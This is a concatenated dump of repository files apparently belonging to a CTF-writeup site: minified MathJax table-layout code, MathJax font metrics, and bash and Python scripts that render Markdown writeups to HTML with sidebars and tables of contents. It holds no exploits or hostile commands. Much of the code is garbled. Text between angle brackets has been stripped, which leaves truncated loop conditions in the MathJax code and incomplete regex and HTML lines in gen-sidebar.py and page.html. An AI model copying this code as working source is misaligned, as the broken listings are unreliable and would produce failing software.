h=this.getValues("columnalign","rowalign","columnspacing","rowspacing","columnwidth","equalcolumns","equalrows","columnlines","rowlines","frame","framespacing","align","width","side","minlabelspacing","useHeight");var j=e.TEX.min_rule_thickness/e.em;m.t=e.Px(j*this.CHTML.scale,1);this.CHTMLgetBoxSizes(h,m);this.CHTMLgetAttributes(h,m);this.CHTMLadjustCells(h,m);if(h.frame){k.style.border=m.t+" "+h.frame}this.CHTMLalignV(h,m,l);this.CHTMLcolumnWidths(h,m,l);this.CHTMLstretchCells(h,m);if(m.labeled){this.CHTMLaddLabels(h,m,l,k)}var i=this.CHTML;i.w=i.r=m.R;i.h=i.t=m.T-m.B;i.d=i.b=m.B;if(!h.frame&&!i.pwidth){l.style.padding="0 "+e.Em(1/6);i.L=i.R=1/6}this.CHTMLhandleSpace(l);this.CHTMLhandleBBox(l);this.CHTMLhandleColor(l);return l},CHTMLgetBoxSizes:function(z,k){var r=e.FONTDATA.lineH*z.useHeight,t=e.FONTDATA.lineD*z.useHeight;var y=[],h=[],l=[],w=-1,q,n;for(q=0,n=this.data.length;qw){w=p}}var u=B.data[p-A].CHTML;if(u.h>y[q]){y[q]=u.h}if(u.d>h[q]){h[q]=u.d}if(u.w>l[p]){l[p]=u.w}}}if(z.equalrows){k.HD=true;var x=Math.max.apply(Math,y);var o=Math.max.apply(Math,h);for(q=0,n=y.length;qt||m<=0){m=null}}else{w.align=this.defaults.align}var p=0,l=0,u=e.TEX.axis_height;if(w.fspace){p+=k.FSPACE[1]}if(w.frame){p+=2/e.em;l+=1/e.em}for(var q=0;q=m){l+=r+s+x[q]}}}if(!m){l=({top:p,bottom:0,center:p/2,baseline:p/2,axis:p/2-u})[w.align]}if(l){o.style.verticalAlign=e.Em(-l)}k.T=p;k.B=l},CHTMLcolumnWidths:function(l,r,A){var I=r.CWIDTH,K=r.CSPACE,u=r.J,F;var G=0,n=false,y=l.width.match(/%$/);var H,B,v;if(l.width!=="auto"&&!y){G=Math.max(0,this.CHTMLlength2em(l.width,r.R));n=true}if(l.equalcolumns){if(y){var z=e.Percent(1/(u+1));for(F=0;F<=u;F++){I[F]=z}}else{v=Math.max.apply(Math,r.W);if(l.width!=="auto"){var q=(l.fspace?r.FSPACE[0]+(l.frame?2/e.em:0):0);for(F=0;F<=u;F++){q+=K[F]}v=Math.max((G-q)/(u+1),v)}v=e.Em(v);for(F=0;F<=u;F++){I[F]=v}}n=true}var E=0;if(l.fspace){E=r.FSPACE[0]}var s=[],D=[],h=[],o=[];var t=r.rows[0];for(F=0;F<=u;F++){o[F]=r.W[F];if(I[F]==="auto"){s.push(F)}else{if(I[F]==="fit"){D.push(F)}else{if(I[F].match(/%$/)){h.push(F)}else{o[F]=this.CHTMLlength2em(I[F],o[F])}}}E+=o[F]+K[F];if(t[F]){t[F].style.width=e.Em(o[F])}}if(l.frame){E+=2/e.em}var C=(D.length>0);if(n){if(y){for(F=0;F<=u;F++){cell=t[F].style;if(I[F]==="auto"&&!C){cell.width=""}else{if(I[F]==="fit"){cell.width=""}else{if(I[F].match(/%$/)){cell.width=I[F]}else{cell.minWidth=cell.maxWidth=cell.width}}}}}else{if(G>E){var k=0;for(H=0,B=h.length;HE&&D.length){var x=(G-E)/D.length;for(H=0,B=D.length;Ht*z){z=t*p}z+=y;z*=t;D+=z}else{D+=p-t*z+n;z-=t*n;z*=-t}}var o=e.addElement(w,"mjx-box",{style:{width:"100%","text-align":q.indentalign}});o.appendChild(B);var C=e.Element("mjx-itable");B.style.display="inline-table";if(!B.style.width){B.style.width="auto"}C.style.verticalAlign="top";B.style.verticalAlign=e.Em(k.T-k.B-k.H[0]);w.style.verticalAlign="";if(z){if(q.indentalign===b.INDENTALIGN.CENTER){B.style.marginLeft=e.Em(z);B.style.marginRight=e.Em(-z)}else{var u="margin"+(q.indentalign===b.INDENTALIGN.RIGHT?"Right":"Left");B.style[u]=e.Em(z)}}if(k.CALIGN[c]==="left"){w.insertBefore(C,o);C.style.marginRight=e.Em(-k.W[c]-y);if(y){C.style.marginLeft=e.Em(y)}}else{w.appendChild(C);C.style.marginLeft=e.Em(-k.W[c]+y)}var l=k.labels,j=0;if(h.fspace){j=k.FSPACE[0]+(h.frame?1/e.em:0)}for(var x=0,v=l.length;x1){h.h*=k;h.d*=k}}}else{h.w=Math.max(h.w,this.CHTMLlength2em(j,h.w))}}}}return l}});MathJax.Hub.Startup.signal.Post("CommonHTML mtable Ready");MathJax.Ajax.loadComplete(e.autoloadDir+"/mtable.js")}); 20 | -------------------------------------------------------------------------------- /assets/js/mathjax-2.7.4/jax/output/CommonHTML/fonts/TeX/AMS-Regular.js: -------------------------------------------------------------------------------- 1 | /* 2 | * /MathJax/jax/output/CommonHTML/fonts/TeX/AMS-Regular.js 3 | * 4 | * Copyright (c) 2009-2018 The MathJax Consortium 5 | * 6 | * Licensed under the Apache License, Version 2.0 (the "License"); 7 | * you may not use this file except in compliance with the License. 8 | * You may obtain a copy of the License at 9 | * 10 | * http://www.apache.org/licenses/LICENSE-2.0 11 | * 12 | * Unless required by applicable law or agreed to in writing, software 13 | * distributed under the License is distributed on an "AS IS" BASIS, 14 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 15 | * See the License for the specific language governing permissions and 16 | * limitations under the License. 17 | */ 18 | 19 | (function(b){var a="MathJax_AMS";b.FONTDATA.FONTS[a]={className:b.FONTDATA.familyName(a),centerline:270,ascent:1003,descent:463,32:[0,0,250,0,0],65:[701,1,722,17,703],66:[683,1,667,11,620],67:[702,19,722,39,684],68:[683,1,722,16,688],69:[683,1,667,12,640],70:[683,1,611,12,584],71:[702,19,778,39,749],72:[683,1,778,14,762],73:[683,1,389,20,369],74:[683,77,500,6,478],75:[683,1,778,22,768],76:[683,1,667,12,640],77:[683,1,944,17,926],78:[683,20,722,20,702],79:[701,19,778,34,742],80:[683,1,611,16,597],81:[701,181,778,34,742],82:[683,1,722,16,705],83:[702,12,556,28,528],84:[683,1,667,33,635],85:[683,19,722,16,709],86:[683,20,722,0,719],87:[683,19,1000,5,994],88:[683,1,722,16,705],89:[683,1,722,16,704],90:[683,1,667,29,635],107:[683,1,556,17,534],160:[0,0,250,0,0],165:[683,0,750,11,738],174:[709,175,947,32,915],240:[749,21,556,42,509],295:[695,13,540,42,562],710:[845,-561,2333,-14,2346],732:[899,-628,2333,1,2330],770:[845,-561,0,-2347,13],771:[899,-628,0,-2332,-3],989:[605,85,778,55,719],1008:[434,6,667,37,734],8245:[560,-43,275,12,244],8463:[695,13,540,42,562],8487:[684,22,722,44,675],8498:[695,1,556,55,497],8502:[763,21,667,-22,687],8503:[764,43,444,-22,421],8504:[764,43,667,54,640],8513:[705,23,639,37,577],8592:[437,-64,500,64,422],8594:[437,-64,500,58,417],8602:[437,-60,1000,56,942],8603:[437,-60,1000,54,942],8606:[417,-83,1000,56,944],8608:[417,-83,1000,55,943],8610:[417,-83,1111,56,1031],8611:[417,-83,1111,79,1054],8619:[575,41,1000,56,964],8620:[575,41,1000,35,943],8621:[417,-83,1389,57,1331],8622:[437,-60,1000,56,942],8624:[722,0,500,56,444],8625:[722,0,500,55,443],8630:[461,1,1000,17,950],8631:[460,1,1000,46,982],8634:[650,83,778,56,722],8635:[650,83,778,56,721],8638:[694,194,417,188,375],8639:[694,194,417,41,228],8642:[694,194,417,188,375],8643:[694,194,417,41,228],8644:[667,0,1000,55,944],8646:[667,0,1000,55,944],8647:[583,83,1000,55,944],8648:[694,193,833,83,749],8649:[583,83,1000,55,944],8650:[694,194,833,83,749],8651:[514,14,1000,55,944],8652:[514,14,1000,55,944],8653:[534,35,1000,54,942],8654:[534,37,1000,32,965],8655:[534,35,1000,55,943],8666:[611,111,1000,76,944],8667:[611,111,1000,55,923],8669:[417,-83,1000,56,943],8672:[437,-64,1334,64,1251],8674:[437,-64,1334,84,1251],8705:[846,21,500,56,444],8708:[860,166,556,55,497],8709:[587,3,778,54,720],8717:[440,1,429,102,456],8722:[270,-230,500,84,417],8724:[766,93,778,57,722],8726:[430,23,778,91,685],8733:[472,-28,778,56,722],8736:[694,0,722,55,666],8737:[714,20,722,55,666],8738:[551,51,722,55,666],8739:[430,23,222,91,131],8740:[750,252,278,-21,297],8741:[431,23,389,55,331],8742:[750,250,500,-20,518],8756:[471,82,667,24,643],8757:[471,82,667,23,643],8764:[365,-132,778,55,719],8765:[367,-133,778,56,722],8769:[467,-32,778,55,719],8770:[463,-34,778,55,720],8774:[652,155,778,54,720],8776:[481,-50,778,55,719],8778:[579,39,778,51,725],8782:[492,-8,778,56,722],8783:[492,-133,778,56,722],8785:[609,108,778,56,722],8786:[601,101,778,15,762],8787:[601,102,778,14,762],8790:[367,-133,778,56,722],8791:[721,-133,778,56,722],8796:[859,-133,778,56,723],8806:[753,175,778,83,694],8807:[753,175,778,83,694],8808:[752,286,778,82,693],8809:[752,286,778,82,693],8812:[750,250,500,74,425],8814:[708,209,778,82,693],8815:[708,209,778,82,693],8816:[801,303,778,82,694],8817:[801,303,778,82,694],8818:[732,228,778,56,722],8819:[732,228,778,56,722],8822:[681,253,778,44,734],8823:[681,253,778,83,694],8828:[580,153,778,83,694],8829:[580,154,778,82,694],8830:[732,228,778,56,722],8831:[732,228,778,56,722],8832:[705,208,778,82,693],8833:[705,208,778,82,693],8840:[801,303,778,83,693],8841:[801,303,778,82,691],8842:[635,241,778,84,693],8843:[635,241,778,82,691],8847:[539,41,778,83,694],8848:[539,41,778,64,714],8858:[582,82,778,57,721],8859:[582,82,778,57,721],8861:[582,82,778,57,721],8862:[689,0,778,55,722],8863:[689,0,778,55,722],8864:[689,0,778,55,722],8865:[689,0,778,55,722],8872:[694,0,611,55,555],8873:[694,0,722,55,666],8874:[694,0,889,55,833],8876:[695,1,611,-55,554],8877:[695,1,611,-55,554],8878:[695,1,722,-55,665],8879:[695,1,722,-55,665],8882:[539,41,778,83,694],8883:[539,41,778,83,694],8884:[636,138,778,83,694],8885:[636,138,778,83,694],8888:[408,-92,1111,55,1055],8890:[431,212,556,57,500],8891:[716,0,611,55,555],8892:[716,0,611,55,555],8901:[189,0,278,55,222],8903:[545,44,778,55,720],8905:[492,-8,778,146,628],8906:[492,-8,778,146,628],8907:[694,22,778,55,722],8908:[694,22,778,55,722],8909:[464,-36,778,56,722],8910:[578,21,760,83,676],8911:[578,22,760,83,676],8912:[540,40,778,84,694],8913:[540,40,778,83,693],8914:[598,22,667,55,611],8915:[598,22,667,55,611],8916:[736,22,667,56,611],8918:[541,41,778,82,693],8919:[541,41,778,82,693],8920:[568,67,1333,56,1277],8921:[568,67,1333,55,1277],8922:[886,386,778,83,674],8923:[886,386,778,83,674],8926:[734,0,778,83,694],8927:[734,0,778,82,694],8928:[801,303,778,82,693],8929:[801,303,778,82,694],8934:[730,359,778,55,719],8935:[730,359,778,55,719],8936:[730,359,778,55,719],8937:[730,359,778,55,719],8938:[706,208,778,82,693],8939:[706,208,778,82,693],8940:[802,303,778,82,693],8941:[801,303,778,82,693],8994:[378,-122,778,55,722],8995:[378,-143,778,55,722],9416:[709,175,902,8,894],9484:[694,-306,500,55,444],9488:[694,-306,500,55,444],9492:[366,22,500,55,444],9496:[366,22,500,55,444],9585:[694,195,889,0,860],9586:[694,195,889,0,860],9632:[689,0,778,55,722],9633:[689,0,778,55,722],9650:[575,20,722,84,637],9651:[575,20,722,84,637],9654:[539,41,778,83,694],9660:[576,19,722,84,637],9661:[576,19,722,84,637],9664:[539,41,778,83,694],9674:[716,132,667,56,611],9733:[694,111,944,49,895],10003:[706,34,833,84,749],10016:[716,22,833,48,786],10731:[716,132,667,56,611],10846:[813,97,611,55,555],10877:[636,138,778,83,694],10878:[636,138,778,83,694],10885:[762,290,778,55,722],10886:[762,290,778,55,722],10887:[635,241,778,82,693],10888:[635,241,778,82,693],10889:[761,387,778,57,718],10890:[761,387,778,57,718],10891:[1003,463,778,83,694],10892:[1003,463,778,83,694],10901:[636,138,778,83,694],10902:[636,138,778,83,694],10933:[752,286,778,82,693],10934:[752,286,778,82,693],10935:[761,294,778,57,717],10936:[761,294,778,57,717],10937:[761,337,778,57,718],10938:[761,337,778,57,718],10949:[753,215,778,84,694],10950:[753,215,778,83,694],10955:[783,385,778,82,693],10956:[783,385,778,82,693],57350:[430,23,222,-20,240],57351:[431,24,389,-20,407],57352:[605,85,778,55,719],57353:[434,6,667,37,734],57356:[752,284,778,82,693],57357:[752,284,778,82,693],57358:[919,421,778,82,694],57359:[801,303,778,82,694],57360:[801,303,778,82,694],57361:[919,421,778,82,694],57366:[828,330,778,82,694],57367:[752,332,778,82,694],57368:[828,330,778,82,694],57369:[752,333,778,82,693],57370:[634,255,778,84,693],57371:[634,254,778,82,691]};b.fontLoaded("TeX/"+a.substr(8))})(MathJax.OutputJax.CommonHTML); 20 | -------------------------------------------------------------------------------- /util/README.md: -------------------------------------------------------------------------------- 1 | ## Install 2 | 3 | ### markdown-toc-generator 4 | 5 | Generate table of contents in Markdown. 6 | 7 | Install: Python 3.6 is required. 8 | 9 | ### markdown-to-html 10 | 11 | Render Markdown to stunning responsive web page with LaTeX support. 12 | 13 | ```sh 14 | cd markdown-to-html 15 | # Install Markdown to static HTML generator (https://github.com/mixu/markdown-styles) 16 | npm install markdown-styles 17 | # Install customized layout 18 | cp -r balsn node_modules/markdown-styles/layouts/ 19 | ``` 20 | 21 | ## Generate a CTF Writeup 22 | 23 | ### Automatically 24 | 25 | ```sh 26 | ./util/gen.sh YYYYMMDD-ctfname your-ctf-writeup.md 27 | ``` 28 | 29 | ### Manually 30 | 31 | Make sure your working directory is the root of Git repository. 32 | 33 | ```sh 34 | mkdir YYYYMMDD-ctfname 35 | cp your-ctf-writeup.md YYYYMMDD-ctfname/README.md 36 | ./util/markdown-to-html/node_modules/markdown-styles/bin/generate-md --layout balsn --input YYYYMMDD-ctfname/README.md --output YYYYMMDD-ctfname 37 | mv YYYYMMDD-ctfname/README.html YYYYMMDD-ctfname/index.html 38 | ./util/markdown-to-html/gen-sidebar.py YYYYMMDD-ctfname/index.html 39 | 40 | ./util/markdown-toc-generator/gen-toc.py YYYYMMDD-ctfname/README.md 41 | ``` 42 | 43 | ## Troubleshooting 44 | 45 | ### TOC 46 | 47 | In order to generate table of contents correctly in Markdown, your input should like this: 48 | 49 | ```markdown 50 | # Balsn CTF 51 | 52 | [TOC] 53 | 54 | ## Web 55 | 56 | ### web 1 57 | 58 | ## Reverse 59 | 60 | ### reverse 1 61 | ``` 62 | -------------------------------------------------------------------------------- /util/gen.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | set -e 3 | 4 | if [ $# -ne 2 ]; then 5 | echo "Usage: ./util/gen.sh YYYYMMDD-ctfname your-ctf-writeup.md" 6 | exit -1 7 | fi 8 | 9 | root_dir=`git rev-parse --show-toplevel` 10 | ctf_dir="$root_dir/$1" 11 | md="$2" 12 | 13 | mkdir $ctf_dir 14 | cp "$md" $ctf_dir/README.md 15 | $root_dir/util/markdown-to-html/node_modules/markdown-styles/bin/generate-md \ 16 | --layout balsn \ 17 | --input $ctf_dir/README.md \ 18 | --output $ctf_dir 19 | sed -r 's/^

\[TOC\]<\/p>$//' -i $ctf_dir/README.html 20 | mv $ctf_dir/README.html $ctf_dir/index.html 21 | $root_dir/util/markdown-to-html/gen-sidebar.py $ctf_dir/index.html 22 | $root_dir/util/markdown-toc-generator/gen-toc.py $ctf_dir/README.md --url "$1" 23 | 24 | echo "Generate index page......" 25 | $root_dir/util/genindex.sh > $root_dir/README.md 26 | $root_dir/util/markdown-to-html/node_modules/markdown-styles/bin/generate-md \ 27 | --layout balsn \ 28 | --input $root_dir/README.md \ 29 | --output $root_dir 30 | mv $root_dir/README.html $root_dir/index.html 31 | $root_dir/util/markdown-to-html/gen-sidebar.py $root_dir/index.html 32 | sed -i '1,16s/\.\.\/assets/assets/' $root_dir/index.html 33 | 34 | -------------------------------------------------------------------------------- /util/genindex.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | set -e 3 | 4 | root_dir=`git rev-parse --show-toplevel` 5 | cd $root_dir 6 | 7 | toc_list="" 8 | for i in `ls -d [0-9]*/ | sort -g | tac | sed 's/\/$//'`; do 9 | toc_list="$toc_list- [$i]($i/)"$'\n' 10 | done 11 | 12 | cat << EOF 13 | # Balsn CTF writeups 14 | 15 | Balsn is CTF team from Taiwan founded in 2016. We actively participate in CTF competitions, and publish writeups on challenges. 16 | The writeups are in markdown + kaTeX format in our GitHub repository [balsn/ctf_writeup](https://github.com/balsn/ctf_writeup). 17 | 18 | For more information, please refer to [our website](https://balsn.tw/). 19 | 20 | ## Table of Contents 21 | 22 | $toc_list 23 | 24 | ## Questions 25 | 26 | If you have any question regarding our writeups, please feel free to [create an issue](https://github.com/balsn/ctf_writeup/issues) in the writeup repository. 27 | 28 | EOF 29 | -------------------------------------------------------------------------------- /util/markdown-to-html/balsn/page.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | {{ title }} 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 93 | 94 | 114 | 115 | 116 |

136 |
137 | 142 |
143 |
144 | {{~> content}} 145 |
146 |
147 |
148 | 149 | 150 | -------------------------------------------------------------------------------- /util/markdown-to-html/gen-sidebar.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # Python 3.6.5 3 | import sys 4 | import re 5 | import argparse 6 | 7 | def main(argv): 8 | with open(argv.filename, 'r+') as f: 9 | origin_html = f.read() 10 | html = generateSideBar(origin_html) 11 | f.seek(0) 12 | f.write(html) 13 | f.truncate() #https://stackoverflow.com/questions/2424000/read-and-overwrite-a-file-in-python 14 | 15 | def generateSideBar(html): 16 | lines = html.split('\n') 17 | chals = {} 18 | for line in lines: 19 | if '', line)[0] 22 | chals[chal_type] = [] 23 | elif '

', line)[0] 25 | anchor_name = re.findall('', line)[0] 26 | chals[chal_type].append((chal_name, anchor_name)) 27 | 28 | mobile_dropdown_string = '' 29 | desktop_menu_string = '' 30 | is_first_dropdown_list = True 31 | for chal_type, chal_info in chals.items(): 32 | items = [] 33 | for chal_name, chal_anchor in chal_info: 34 | items.append(mobile_dropdown_item(chal_name, chal_anchor)) 35 | item_string = '\n'.join(items) 36 | mobile_dropdown_string += mobile_dropdown_list(chal_type, item_string, is_first_dropdown_list) 37 | is_first_dropdown_list = False 38 | 39 | for i, (chal_type, chal_info) in enumerate(chals.items()): 40 | items = [] 41 | for chal_name, chal_anchor in chal_info: 42 | items.append(desktop_menu_item(chal_name, chal_anchor)) 43 | item_string = '\n'.join(items) 44 | desktop_menu_string += desktop_menu_list(chal_type, item_string, i) 45 | return html.replace('', mobile_dropdown_string).replace('', desktop_menu_string) 46 | 47 | def mobile_dropdown_list(name, item_string, is_first_dropdown_list): 48 | github_button_iframe = '' 49 | if is_first_dropdown_list: 50 | github_button_iframe = ''' 51 | 52 | 53 | ''' 54 | return f''' 55 | 63 | ''' 64 | 65 | def mobile_dropdown_item(name, anchor): 66 | assert anchor.startswith('#') 67 | return f''' {name} 68 | ''' 69 | 70 | def desktop_menu_item(name, anchor): 71 | assert anchor.startswith('#') 72 | return f''' 73 | {name} 74 | 75 | ''' 76 | 77 | def desktop_menu_list(name, item_string, idx): 78 | return f''' 79 | 86 | 89 | ''' 90 | 91 | def parseArgv(): 92 | parser = argparse.ArgumentParser(prog=sys.argv[0]) 93 | parser.add_argument('filename', type=str) 94 | return parser.parse_args() 95 | 96 | if __name__ == '__main__': 97 | argv = parseArgv() 98 | main(argv) 99 | -------------------------------------------------------------------------------- /util/markdown-toc-generator/gen-toc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # Python 3.6.5 3 | 4 | import argparse 5 | import subprocess 6 | import sys 7 | import re 8 | import os 9 | 10 | def main(argv): 11 | def generateTOC(filename): 12 | return subprocess.check_output([os.path.join(os.path.dirname(__file__), 'lib/gh-md-toc'), filename]).decode() 13 | 14 | with open(argv.filename, 'r+') as f: 15 | origin_content = f.read() 16 | assert re.findall(r'\[TOC\]', origin_content), f'[TOC] tag is not found in {argv.filename}' 17 | toc = generateTOC(argv.filename) 18 | if argv.url: 19 | toc = f"**It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/{argv.url}/) of this writeup.**\n\n\n"+ toc 20 | new_content = re.sub(r'\[TOC\]', toc, origin_content) 21 | f.seek(0) 22 | f.write(new_content) 23 | f.truncate() #https://stackoverflow.com/questions/2424000/read-and-overwrite-a-file-in-python 24 | 25 | 26 | def parseArgv(): 27 | parser = argparse.ArgumentParser(prog=sys.argv[0]) 28 | parser.add_argument('filename', type=str) 29 | parser.add_argument('--url', type=str) 30 | return parser.parse_args() 31 | 32 | if __name__ == '__main__': 33 | argv = parseArgv() 34 | main(argv) 35 | -------------------------------------------------------------------------------- /util/markdown-toc-generator/lib/gh-md-toc: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | # 4 | # Steps: 5 | # 6 | # 1. Download corresponding html file for some README.md: 7 | # curl -s $1 8 | # 9 | # 2. Discard rows where no substring 'user-content-' (github's markup): 10 | # awk '/user-content-/ { ... 11 | # 12 | # 3.1 Get last number in each row like ' ... sitemap.js.*<\/h/)+2, RLENGTH-5) 21 | # 22 | # 5. Find anchor and insert it inside "(...)": 23 | # substr($0, match($0, "href=\"[^\"]+?\" ")+6, RLENGTH-8) 24 | # 25 | 26 | gh_toc_version="0.5.0" 27 | 28 | gh_user_agent="gh-md-toc v$gh_toc_version" 29 | 30 | # 31 | # Download rendered into html README.md by its url. 32 | # 33 | # 34 | gh_toc_load() { 35 | local gh_url=$1 36 | 37 | if type curl &>/dev/null; then 38 | curl --user-agent "$gh_user_agent" -s "$gh_url" 39 | elif type wget &>/dev/null; then 40 | wget --user-agent="$gh_user_agent" -qO- "$gh_url" 41 | else 42 | echo "Please, install 'curl' or 'wget' and try again." 43 | exit 1 44 | fi 45 | } 46 | 47 | # 48 | # Converts local md file into html by GitHub 49 | # 50 | # ➥ curl -X POST --data '{"text": "Hello world github/linguist#1 **cool**, and #1!"}' https://api.github.com/markdown 51 | #

Hello world github/linguist#1 cool, and #1!

'" 52 | gh_toc_md2html() { 53 | local gh_file_md=$1 54 | URL=https://api.github.com/markdown/raw 55 | TOKEN="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)/token.txt" 56 | if [ -f "$TOKEN" ]; then 57 | URL="$URL?access_token=$(cat $TOKEN)" 58 | fi 59 | curl -s --user-agent "$gh_user_agent" \ 60 | --data-binary @"$gh_file_md" -H "Content-Type:text/plain" \ 61 | $URL 62 | } 63 | 64 | # 65 | # Is passed string url 66 | # 67 | gh_is_url() { 68 | case $1 in 69 | https* | http*) 70 | echo "yes";; 71 | *) 72 | echo "no";; 73 | esac 74 | } 75 | 76 | # 77 | # TOC generator 78 | # 79 | gh_toc(){ 80 | local gh_src=$1 81 | local gh_src_copy=$1 82 | local gh_ttl_docs=$2 83 | local need_replace=$3 84 | 85 | if [ "$gh_src" = "" ]; then 86 | echo "Please, enter URL or local path for a README.md" 87 | exit 1 88 | fi 89 | 90 | 91 | # Show "TOC" string only if working with one document 92 | if [ "$gh_ttl_docs" = "1" ]; then 93 | gh_src_copy="" 94 | fi 95 | 96 | if [ "$(gh_is_url "$gh_src")" == "yes" ]; then 97 | gh_toc_load "$gh_src" | gh_toc_grab "$gh_src_copy" 98 | if [ "$need_replace" = "yes" ]; then 99 | echo 100 | echo "!! '$gh_src' is not a local file" 101 | echo "!! Can't insert the TOC into it." 102 | echo 103 | fi 104 | else 105 | local toc=`gh_toc_md2html "$gh_src" | gh_toc_grab "$gh_src_copy"` 106 | echo "$toc" 107 | if [ "$need_replace" = "yes" ]; then 108 | local ts="<\!--ts-->" 109 | local te="<\!--te-->" 110 | local dt=`date +'%F_%H%M%S'` 111 | local ext=".orig.${dt}" 112 | local toc_path="${gh_src}.toc.${dt}" 113 | local toc_footer="" 114 | # http://fahdshariff.blogspot.ru/2012/12/sed-mutli-line-replacement-between-two.html 115 | # clear old TOC 116 | sed -i${ext} "/${ts}/,/${te}/{//!d}" "$gh_src" 117 | # create toc file 118 | echo "${toc}" > "${toc_path}" 119 | echo -e "\n${toc_footer}\n" >> "$toc_path" 120 | # insert toc file 121 | sed -i "/${ts}/r ${toc_path}" "$gh_src" 122 | echo 123 | echo "!! TOC was added into: '$gh_src'" 124 | echo "!! Origin version of the file: '${gh_src}${ext}'" 125 | echo "!! TOC added into a separate file: '${toc_path}'" 126 | echo 127 | fi 128 | fi 129 | } 130 | 131 | # 132 | # Grabber of the TOC from rendered html 133 | # 134 | # $1 — a source url of document. 135 | # It's need if TOC is generated for multiple documents. 136 | # 137 | gh_toc_grab() { 138 | # if closed is on the new line, then move it on the prev line 139 | # for example: 140 | # was: The command foo1 141 | #

142 | # became: The command foo1 143 | sed -e ':a' -e 'N' -e '$!ba' -e 's/\n<\/h/<\/h/g' | 144 | # find strings that corresponds to template 145 | grep -E -o '//' | sed 's/<\/code>//' | 148 | # now all rows are like: 149 | # ... .*<\/h/)+2, RLENGTH-5)"](" gh_url substr($0, match($0, "href=\"[^\"]+?\" ")+6, RLENGTH-8) ")"}' | sed 'y/+/ /; s/%/\\x/g')" 154 | } 155 | 156 | # 157 | # Returns filename only from full path or url 158 | # 159 | gh_toc_get_filename() { 160 | echo "${1##*/}" 161 | } 162 | 163 | # 164 | # Options hendlers 165 | # 166 | gh_toc_app() { 167 | local app_name="gh-md-toc" 168 | local need_replace="no" 169 | 170 | if [ "$1" = '--help' ] || [ $# -eq 0 ] ; then 171 | echo "GitHub TOC generator ($app_name): $gh_toc_version" 172 | echo "" 173 | echo "Usage:" 174 | echo " $app_name [--insert] src [src] Create TOC for a README file (url or local path)" 175 | echo " $app_name - Create TOC for markdown from STDIN" 176 | echo " $app_name --help Show help" 177 | echo " $app_name --version Show version" 178 | return 179 | fi 180 | 181 | if [ "$1" = '--version' ]; then 182 | echo "$gh_toc_version" 183 | return 184 | fi 185 | 186 | if [ "$1" = "-" ]; then 187 | if [ -z "$TMPDIR" ]; then 188 | TMPDIR="/tmp" 189 | elif [ -n "$TMPDIR" -a ! -d "$TMPDIR" ]; then 190 | mkdir -p "$TMPDIR" 191 | fi 192 | local gh_tmp_md 193 | gh_tmp_md=$(mktemp $TMPDIR/tmp.XXXXXX) 194 | while read input; do 195 | echo "$input" >> "$gh_tmp_md" 196 | done 197 | gh_toc_md2html "$gh_tmp_md" | gh_toc_grab "" 198 | return 199 | fi 200 | 201 | if [ "$1" = '--insert' ]; then 202 | need_replace="yes" 203 | shift 204 | fi 205 | 206 | for md in "$@" 207 | do 208 | gh_toc "$md" "$#" "$need_replace" 209 | done 210 | 211 | echo 1>&2 "Created by [gh-md-toc](https://github.com/ekalinin/github-markdown-toc)" 212 | } 213 | 214 | # 215 | # Entry point 216 | # 217 | gh_toc_app "$@" 218 | --------------------------------------------------------------------------------